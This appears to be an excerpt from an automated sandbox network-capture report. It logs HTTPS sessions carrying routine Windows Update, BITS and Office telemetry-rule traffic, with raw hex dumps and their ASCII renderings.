2024-11-12 20:21:28 UTC	1378	IN	Data Raw: 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 Data Ascii: pe.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)r
2024-11-12 20:21:28 UTC	1378	IN	Data Raw: 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 Data Ascii: +9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49755	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:21:29 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-12 20:21:29 UTC	467	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=159812 Date: Tue, 12 Nov 2024 20:21:29 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49756	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:21:30 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=RRmGy1p57v2AkWc&MD=pMuuV+bZ HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-12 20:21:30 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 64830279-aa22-4919-ad2b-2e194dba2913 MS-RequestId: f1c6c4e7-8342-4f70-a468-9b95a24e6a92 MS-CV: K5Ur/iSQMEGgeZBt.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 12 Nov 2024 20:21:29 GMT Connection: close Content-Length: 24490
2024-11-12 20:21:30 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-12 20:21:30 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49760	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:21:30 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-12 20:21:31 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=159849 Date: Tue, 12 Nov 2024 20:21:30 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-12 20:21:31 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:21:59 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:21:59 UTC	471	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:21:59 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 11 Nov 2024 13:19:38 GMT ETag: "0x8DD02537E74B538" x-ms-request-id: a1588731-601e-000d-094b-342618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202159Z-16547b76f7f7scqbhC1DFW0m5w0000000fvg00000000vebw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:21:59 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-12 20:21:59 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-12 20:21:59 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-12 20:21:59 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-12 20:21:59 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-12 20:21:59 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-12 20:21:59 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-12 20:21:59 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-12 20:22:00 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-12 20:22:00 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49768	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:01 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:01 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:01 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 9f0f5f99-201e-0096-25f1-2cace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202201Z-16547b76f7fkj7j4hC1DFW0a9g0000000g2g00000000g6xv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:01 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:01 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:01 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:01 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 8a8ac7e4-f01e-0020-50a8-34956b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202201Z-15869dbbcc6ss7fxhC1DFWq6vs00000009h000000000gy5s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:01 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 